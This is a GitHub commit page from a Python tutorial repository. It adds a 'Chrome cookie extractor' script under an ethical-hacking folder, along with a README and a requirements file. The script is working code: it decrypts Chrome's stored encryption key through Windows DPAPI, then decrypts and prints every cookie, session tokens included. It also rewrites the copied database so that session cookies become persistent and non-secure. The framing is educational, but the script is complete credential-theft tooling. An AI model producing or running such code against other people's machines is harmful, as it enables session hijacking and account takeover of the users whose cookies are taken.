Skip to content

Commit ecad21a

Browse files
committedMar 21, 2021
add chrome cookie extractor tutorial
1 parent a152f4f commit ecad21a

File tree

4 files changed

+119
-0
lines changed

4 files changed

+119
-0
lines changed
 

‎README.md

+1
Original file line numberDiff line numberDiff line change
@@ -32,6 +32,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
3232
- [How to Extract Chrome Passwords in Python](https://www.thepythoncode.com/article/extract-chrome-passwords-python). ([code](ethical-hacking/chrome-password-extractor))
3333
- [How to Use Shodan API in Python](https://www.thepythoncode.com/article/using-shodan-api-in-python). ([code](ethical-hacking/shodan-api))
3434
- [How to Make an HTTP Proxy in Python](https://www.thepythoncode.com/article/writing-http-proxy-in-python-with-mitmproxy). ([code](ethical-hacking/http-mitm-proxy))
35+
- [How to Extract Chrome Cookies in Python](https://www.thepythoncode.com/article/extract-chrome-cookies-python). ([code](ethical-hacking/chrome-cookie-extractor))
3536

3637
- ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
3738
- ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp)
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
# [How to Extract Chrome Cookies in Python](https://www.thepythoncode.com/article/extract-chrome-cookies-python)
2+
To run this:
3+
- `pip3 install -r requirements.txt`
4+
- Simply run the script:
5+
```
6+
python chrome_cookie_extractor.py
7+
```
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,109 @@
1+
import os
2+
import json
3+
import base64
4+
import sqlite3
5+
import shutil
6+
from datetime import datetime, timedelta
7+
import win32crypt # pip install pypiwin32
8+
from Crypto.Cipher import AES # pip install pycryptodome
9+
10+
def get_chrome_datetime(chromedate):
11+
"""Return a `datetime.datetime` object from a chrome format datetime
12+
Since `chromedate` is formatted as the number of microseconds since January, 1601"""
13+
if chromedate != 86400000000 and chromedate:
14+
try:
15+
return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
16+
except Exception as e:
17+
print(f"Error: {e}, chromedate: {chromedate}")
18+
return chromedate
19+
else:
20+
return ""
21+
22+
23+
def get_encryption_key():
24+
local_state_path = os.path.join(os.environ["USERPROFILE"],
25+
"AppData", "Local", "Google", "Chrome",
26+
"User Data", "Local State")
27+
with open(local_state_path, "r", encoding="utf-8") as f:
28+
local_state = f.read()
29+
local_state = json.loads(local_state)
30+
31+
# decode the encryption key from Base64
32+
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
33+
# remove 'DPAPI' str
34+
key = key[5:]
35+
# return decrypted key that was originally encrypted
36+
# using a session key derived from current user's logon credentials
37+
# doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html
38+
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
39+
40+
41+
def decrypt_data(data, key):
42+
try:
43+
# get the initialization vector
44+
iv = data[3:15]
45+
data = data[15:]
46+
# generate cipher
47+
cipher = AES.new(key, AES.MODE_GCM, iv)
48+
# decrypt password
49+
return cipher.decrypt(data)[:-16].decode()
50+
except:
51+
try:
52+
return str(win32crypt.CryptUnprotectData(data, None, None, None, 0)[1])
53+
except:
54+
# not supported
55+
return ""
56+
57+
58+
def main():
59+
# local sqlite Chrome cookie database path
60+
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
61+
"Google", "Chrome", "User Data", "default", "Cookies")
62+
# copy the file to current directory
63+
# as the database will be locked if chrome is currently open
64+
filename = "Cookies.db"
65+
if not os.path.isfile(filename):
66+
# copy file when does not exist in the current directory
67+
shutil.copyfile(db_path, filename)
68+
# connect to the database
69+
db = sqlite3.connect(filename)
70+
cursor = db.cursor()
71+
# get the cookies from `cookies` table
72+
cursor.execute("""
73+
SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value
74+
FROM cookies""")
75+
# you can also search by domain, e.g thepythoncode.com
76+
# cursor.execute("""
77+
# SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value
78+
# FROM cookies
79+
# WHERE host_key like '%thepythoncode.com%'""")
80+
# get the AES key
81+
key = get_encryption_key()
82+
for host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value in cursor.fetchall():
83+
if not value:
84+
decrypted_value = decrypt_data(encrypted_value, key)
85+
else:
86+
# already decrypted
87+
decrypted_value = value
88+
print(f"""
89+
Host: {host_key}
90+
Cookie name: {name}
91+
Cookie value (decrypted): {decrypted_value}
92+
Creation datetime (UTC): {get_chrome_datetime(creation_utc)}
93+
Last access datetime (UTC): {get_chrome_datetime(last_access_utc)}
94+
Expires datetime (UTC): {get_chrome_datetime(expires_utc)}
95+
===============================================================""")
96+
# update the cookies table with the decrypted value
97+
# and make session cookie persistent
98+
cursor.execute("""
99+
UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999, is_persistent = 1, is_secure = 0
100+
WHERE host_key = ?
101+
AND name = ?""", (decrypted_value, host_key, name))
102+
# commit changes
103+
db.commit()
104+
# close connection
105+
db.close()
106+
107+
108+
if __name__ == "__main__":
109+
main()
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
pypiwin32
2+
pycryptodome

0 commit comments

Comments
 (0)
Please sign in to comment.